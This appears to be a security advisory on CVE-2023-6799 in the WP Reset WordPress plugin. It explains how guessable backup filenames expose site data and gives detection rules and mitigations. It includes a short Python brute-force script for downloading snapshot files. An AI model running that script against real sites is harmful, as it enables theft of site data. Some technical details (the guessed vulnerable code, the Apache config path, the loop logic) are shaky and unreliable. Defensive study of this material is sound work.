CVE-2023-6799

Executive Summary

CVE-2023-6799 is a vulnerability in the WP Reset – Most Advanced WordPress Reset Tool plugin for WordPress, affecting all versions up to and including 2.0. The issue lies in the generation of snapshot filenames used for site backups. The plugin uses insufficiently random naming, making it possible for an unauthenticated attacker to brute-force snapshot filenames and extract sensitive data, including full site backups. This is a WordPress ecosystem vulnerability, not related to the underlying web server (Apache/Nginx). The vendor has explicitly stated they do not plan to harden this functionality, leaving users permanently exposed.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who install or update the plugin via the WordPress admin dashboard or via wp-cli are affected. There is no package manager (NPM, PyPI, Go, Ruby) involved, but the plugin itself is a supply chain risk. Administrators should treat this plugin as a high-risk component and consider removing it entirely.

CVSS Breakdown & Threat Level

• CVSS Score: 5.9 (Medium)
• Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: High (requires brute-forcing filenames)
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High (full site backup exposure)
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. While the attack complexity is high, the potential impact is severe (full site data exposure). The lack of a patch increases the risk.

Deep Dive & Mechanics

The WP Reset plugin creates snapshot files (backups) of the WordPress database and files. These snapshots are stored in a predictable directory (e.g., /wp-content/uploads/wp-reset-snapshots/). The vulnerability stems from the use of uniqid() or similar PHP functions that generate filenames with low entropy (e.g., snapshot_64a1b2c3d4e5f6.sql). An attacker can brute-force these filenames by iterating through possible values.

The attack flow:

1. Attacker identifies a target WordPress site running the vulnerable plugin.
2. Attacker enumerates the snapshot directory (e.g., via directory listing if enabled, or by guessing).
3. Attacker brute-forces snapshot filenames using a script that generates possible names based on the weak random algorithm.
4. Once a valid snapshot is found, the attacker downloads it, gaining access to the full database and potentially file contents.

The vendor’s statement confirms no further hardening will be applied, meaning this vulnerability is permanent.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.0): The plugin likely uses uniqid() or mt_rand() without sufficient entropy to generate snapshot filenames. Example:

$filename = 'snapshot_' . uniqid() . '.sql';

This generates predictable filenames.

Patched Code (Not Available): A proper fix would use random_bytes() or bin2hex(random_bytes(16)) to generate cryptographically secure random filenames. Example:

$filename = 'snapshot_' . bin2hex(random_bytes(16)) . '.sql';

Since the vendor refuses to patch, no official patched code exists.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with WP Reset plugin <= 2.0.
• Knowledge of the snapshot directory path (default: /wp-content/uploads/wp-reset-snapshots/).

Exploit Script (Python):

import requests
import itertools
import string

target = "http://target.com/wp-content/uploads/wp-reset-snapshots/"
# Brute-force based on weak random pattern (example: 13 hex chars)
charset = string.hexdigits[:16]  # 0-9a-f
for length in range(10, 14):  # typical uniqid length
    for combo in itertools.product(charset, repeat=length):
        filename = "snapshot_" + "".join(combo) + ".sql"
        url = target + filename
        r = requests.get(url)
        if r.status_code == 200:
            print(f"Found: {url}")
            with open(filename, "wb") as f:
                f.write(r.content)
            break

Note: This is a simplified example. Real-world exploitation would require understanding the exact random generation algorithm used.

Blue Team (Defense)

Detection:

• Monitor for repeated 404 errors to /wp-content/uploads/wp-reset-snapshots/ followed by a 200 success.
• Alert on high volumes of requests to the snapshot directory from a single IP.

Mitigation:

• Remove the WP Reset plugin entirely.
• If removal is not possible, restrict access to the snapshot directory via .htaccess:

<Directory "/wp-content/uploads/wp-reset-snapshots/">
    Require all denied
</Directory>

• Use a Web Application Firewall (WAF) to block brute-force patterns.

Indicators of Compromise (IOCs)

• File Paths:
  • /wp-content/uploads/wp-reset-snapshots/snapshot_*.sql
  • /wp-content/uploads/wp-reset-snapshots/snapshot_*.zip
• Network Traffic:
  • GET requests to /wp-content/uploads/wp-reset-snapshots/snapshot_*.sql with varying filenames.
  • High rate of 404 errors followed by a 200 success from the same IP.
• Log Entries:
  • Apache/Nginx access logs showing sequential requests to snapshot filenames.

Detection Engineering

YARA Rule

rule CVE_2023_6799_WP_Reset_Snapshot_Exposure {
    meta:
        description = "Detects attempts to brute-force WP Reset snapshot filenames"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-6799"
    strings:
        $snapshot_path = "/wp-content/uploads/wp-reset-snapshots/snapshot_"
        $sql_ext = ".sql"
        $zip_ext = ".zip"
    condition:
        any of ($snapshot_path) and (any of ($sql_ext) or any of ($zip_ext))
}

Sigma Rule

title: CVE-2023-6799 WP Reset Snapshot Brute-Force
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects brute-force attempts against WP Reset snapshot filenames
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-stem|startswith: '/wp-content/uploads/wp-reset-snapshots/snapshot_'
        sc-status: 404
    condition: selection
    timeframe: 5m
    aggregation:
        - field: c-ip
          condition: gt 50
falsepositives:
    - Legitimate backup downloads by admin
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-6799 WP Reset Snapshot Brute-Force Attempt"; flow:to_server; content:"/wp-content/uploads/wp-reset-snapshots/snapshot_"; http_uri; fast_pattern; content:".sql"; http_uri; distance:0; threshold: type both, track by_src, count 50, seconds 300; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Remove the plugin: Deactivate and delete the WP Reset plugin from all WordPress installations.
2. Restrict access: If removal is not possible, add .htaccess rules to deny all access to the snapshot directory.
3. Rotate secrets: Change all database passwords, API keys, and other secrets that may have been exposed in backups.

Long-Term Actions:

• Monitor for any unauthorized access to backup files.
• Implement a Web Application Firewall (WAF) with rate limiting.
• Educate users about the risks of using unsupported plugins.

Vendor Response: The vendor has stated they will not patch this vulnerability. Users are strongly advised to find alternative plugins for WordPress reset functionality.

Valters IT
Securing Digital Ecosystems